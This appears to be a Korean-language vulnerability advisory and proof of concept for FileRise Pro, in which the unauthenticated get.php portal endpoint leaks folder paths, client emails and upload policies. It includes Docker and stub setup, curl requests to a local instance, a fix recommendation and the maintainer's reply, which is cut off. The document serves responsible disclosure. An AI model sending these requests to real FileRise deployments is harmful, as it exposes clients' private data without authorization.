
FileRise Pro 클라이언트 포털의 내부 폴더 경로, 클라이언트 이메일, 업로드 정책이 /api/pro/portals/get.php를 통해 인증 없이 공개됨
get.php)의 인증되지 않은 정보 노출public/api/pro/portals/get.php는 FileRise Pro 클라이언트 포털의 전체 내부 레코드 — 내부 저장소 폴더 경로, 클라이언트 연락처 이메일, 전체 업로드 정책 포함 — 를 포털의 slug를 알고 있거나 추측할 수 있는 인증되지 않은 호출자에게 반환합니다.
같은 디렉터리의 모든 형제 엔드포인트(list.php, save.php, listEntries.php, submitForm.php, submissions.php)는 실행 전에 fr_pro_guard_auth(...)를 호출하지만, get.php만 유일하게 예외입니다. 애플리케이션은 이미 동일한 slug에 대해 의도적으로 선별된 공개 엔드포인트(publicMeta.php)를 제공하며, 이는 브랜딩 필드만 반환합니다 — 이는 이 데이터가 인증 전에 노출되어서는 안 된다는 것을 입증합니다.
public/api/pro/portals/get.phpProPortalsApiService::getPortal() → PortalController::getPortalBySlug() (src/FileRise/Http/Controllers/PortalController.php:60)error311/FileRise @ 태그 v3.23.1 (프로젝트 자체 Dockerfile로 빌드, 최초 실행 설정)get.php는 인증 게이트 없이 실행됩니다:
require_once __DIR__ . '/../_common.php'; require_once PROJECT_ROOT . '/src/FileRise/Domain/ProPortalsApiService.php';
try { $slug = isset($_GET['slug']) ? (string)$_GET['slug'] : ''; fr_pro_emit_result(\FileRise\Domain\ProPortalsApiService::getPortal($slug)); } catch (Throwable $e) { ... }
이 파일 어디에도 fr_pro_guard_auth() 호출이 없습니다 — 먼저 이를 호출하는 list.php / save.php / listEntries.php와 대조됩니다.
getPortal()은 관리자가 포털 편집 화면에서 보는 것과 동일한 레코드를 반환하며, 민감한 필드를 포함합니다:
return [
'slug' => ..., 'label' => ..., 'folder' => $folder, 'clientEmail' => $clientEmail,
'sourceId' => $sourceId, 'uploadOnly' => ..., 'allowDownload' => ...,
'uploadMaxSizeMb' => ..., 'uploadExtWhitelist' => ..., 'uploadMaxPerDay' => ...,
'allowSubfolders' => ..., 'formDefaults' => ..., 'canUpload' => $canUpload, ...
];
대조적으로, publicMeta.php — 프런트엔드(public/js/portal.js)가 익명 포털 랜딩 페이지를 위해 실제로 호출하는 엔드포인트 — 는 별도의 최소한의 portals.json 프로젝션을 PortalPublicMetaService::getPublicPortalMeta()를 통해 로드하고 브랜딩 필드만 반환합니다:
['slug', 'label', 'title', 'introText', 'brandColor', 'footerText', 'logoFile', 'logoUrl']
전제 조건에 관하여: 공격자는 포털 slug를 알고 있거나 추측하기만 하면 됩니다 — 이는 공유 가능한 포털 URL(/portal/<slug>)에 직접 사용되는 짧고 사람이 읽을 수 있으며 관리자가 선택한 레이블로, 높은 엔트로피의 비밀이 아닙니다. slug는 이메일이나 링크를 통해 클라이언트와 일상적으로 공유되므로, 포털 링크를 한 번이라도 받은 사람이라면 현실적으로 접근 가능합니다.
error311/FileRise @ v3.23.1에 대해 취약한 요청에 쿠키/세션 없이 라이브로 검증되었습니다.
테스트 관련 참고: FileRise Pro(라이선스가 필요한
ProPortals.php번들)는 이 저장소에 포함되지 않은 별도의 유료 애드온입니다. 아래 PoC는 OSS 코드가 이미 호출하는listPortals()인터페이스만 구현한 최소한의 로컬 테스트 스텁으로 Pro 모드를 활성화합니다(PortalController.php:60→new ProPortals(FR_PRO_BUNDLE_DIR)→->listPortals()). 이는 모든 실제 라이선스 인스턴스가 실행하는 OSS 측 코드 경로를 정확히 재현합니다; 독점 코드는 사용되지 않았고 필요하지도 않았습니다.
1. 이미지 빌드:
git clone https://github.com/error311/FileRise.git
cd FileRise
docker build -t filerise-local -f Dockerfile .
2. 최소 로컬 스텁 — OSS 측 Pro 게이팅 코드를 실행하기 위한 것(독점 번들이 아니라 FR_PRO_ACTIVE / ProPortals::listPortals()를 충족하기에 충분한 정도):
mkdir -p data/users/procat > data/users/pro/bootstrap_pro.php <<'PHP' <?php define('FR_PRO_ACTIVE', true); PHP
cat > data/users/pro/ProPortals.php <<'PHP' <?php class ProPortals { public function __construct(string $dir) {} public function listPortals(): array { return ['client-portal' => [ 'label' => 'Client Portal', 'folder' => 'confidential/client-acme-contracts', 'clientEmail' => '[email protected]', 'uploadOnly' => true, 'allowDownload' => false, 'uploadMaxSizeMb' => 25, 'uploadExtWhitelist' => 'pdf,docx', 'uploadMaxPerDay' => 10, ]]; } } PHP
cat > data/users/pro/portals.json <<'JSON' {"portals":{"client-portal":{"label":"Client Portal","folder":"confidential/client-acme-contracts","clientEmail":"[email protected]"}}} JSON
3. 컨테이너 실행:
docker run -d --name filerise-test -p 8899:80 \
-v "$(pwd)/data/uploads:/var/www/uploads" \
-v "$(pwd)/data/users:/var/www/users" \
-v "$(pwd)/data/metadata:/var/www/metadata" \
-e SECURE=false filerise-local
4. 인증되지 않은 요청 — 쿠키 jar 없음, 로그인 없음:
curl -s "http://localhost:8899/api/pro/portals/get.php?slug=client-portal"
결과 (HTTP 200):
{"success":true,"portal":{"slug":"client-portal","label":"Client Portal",
"folder":"confidential/client-acme-contracts",
"clientEmail":"[email protected]",
"uploadOnly":true,"allowDownload":false,
"uploadMaxSizeMb":25,"uploadExtWhitelist":"pdf,docx","uploadMaxPerDay":10, ... }}
5. 앱 자체의 의도적으로 공개된 형제 엔드포인트와 대조, 동일한 slug:
curl -s "http://localhost:8899/api/pro/portals/publicMeta.php?slug=client-portal"
{"success":true,"portal":{"slug":"client-portal","label":"Client Portal","title":"","introText":"","brandColor":"","footerText":"","logoFile":"","logoUrl":""}}
folder 없음, clientEmail 없음, 업로드 정책 없음 — get.php가 애플리케이션 자체가 비공개로 취급하는 데이터를 노출한다는 것을 확인합니다.
6. 형제 관리자 전용 엔드포인트가 올바르게 게이팅되어 있음을 확인(비교용):
curl -s -w "\nHTTP:%{http_code}\n" "http://localhost:8899/api/pro/portals/list.php"
{"error":"Unauthorized"}
HTTP:401
| Field | Value |
|---|---|
| CVSS 3.1 vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| CVSS 3.1 score | 5.3 (Medium) |
| CWE-306 | Missing Authentication for Critical Function |
| CWE-200 | Exposure of Sensitive Information to an Unauthorized Actor |
형제 엔드포인트가 사용하는 것과 동일한 fr_pro_guard_auth(...) 게이트를 추가하십시오. get.php는 실제로 인증된 관리자 "포털 편집" 화면을 제공하는 것으로 보이므로(public/js/adminPortals.js 참조), fr_pro_guard_auth(true, false)(관리자)를 요구해야 합니다. 정당한 익명 사용은 대신 PortalPublicMetaService의 이미 선별된 필드 집합을 통해 이루어져야 합니다.
책임 있는 공개와 상세한 재현에 감사드립니다.
FileRise Pro 포털 엔드포인트를 검토하여 문제를 확인했습니다. /api/pro/portals/get.php는 인증된 FileRise 세션을 먼저 요구하지 않고 인증된 포털 애플리케이션의 전체 포털 레코드를 반환했습니다. 따라서 구성된 포털 slug를 알고 있거나 추측한 호출자가 포털의 내부 저장소 폴더, 구성된 클라이언트 이메일, 양식 설정, 업로드 정책 세부 정보를 검색할 수 있었습니다.
익명 포털 로그인 페이지는 이 내부 레코드를 필요로 하지 않습니다. 이 페이지는 의도적으로 선별된 브랜딩 필드만 반환하는 별도의 /api/pro/portals/publicMeta.php 엔드포인트를 사용합니다.
수정 사항은 FileRise v3.24.0에 구현되었습니다: